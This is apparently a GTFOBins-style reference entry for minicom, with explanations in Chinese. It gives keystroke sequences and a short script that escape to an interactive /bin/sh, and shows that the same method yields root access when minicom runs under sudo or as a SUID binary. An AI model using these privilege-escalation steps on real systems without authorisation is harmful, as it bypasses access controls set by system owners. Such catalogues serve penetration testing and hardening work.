.. / minicom

Note that in some versions, Meta-Z is used in place of Ctrl-A.

shell

用来生成一个交互式的系统shell。

Start the following command to open the TUI interface, then: 1. press Ctrl-A o and select Filenames and paths; 2. press e, type /bin/sh, then Enter; 3. Press Esc twice; 4. Press Ctrl-A k to drop the shell. After the shell, exit with Ctrl-A x.
```
minicom -D /dev/null
```
After the shell, exit with Ctrl-A x.
```
TF=$(mktemp)
echo "! exec /bin/sh <$(tty) 1>$(tty) 2>$(tty)" >$TF
minicom -D /dev/null -S $TF
reset^J
```

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

Start the following command to open the TUI interface, then: 1. press Ctrl-A o and select Filenames and paths; 2. press e, type /bin/sh, then Enter; 3. Press Esc twice; 4. Press Ctrl-A k to drop the shell. After the shell, exit with Ctrl-A x.
```
sudo minicom -D /dev/null
```

suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

Start the following command to open the TUI interface, then: 1. press Ctrl-A o and select Filenames and paths; 2. press e, type /bin/sh -p, then Enter; 3. Press Esc twice; 4. Press Ctrl-A k to drop the shell. After the shell, exit with Ctrl-A x.
```
./minicom -D /dev/null
```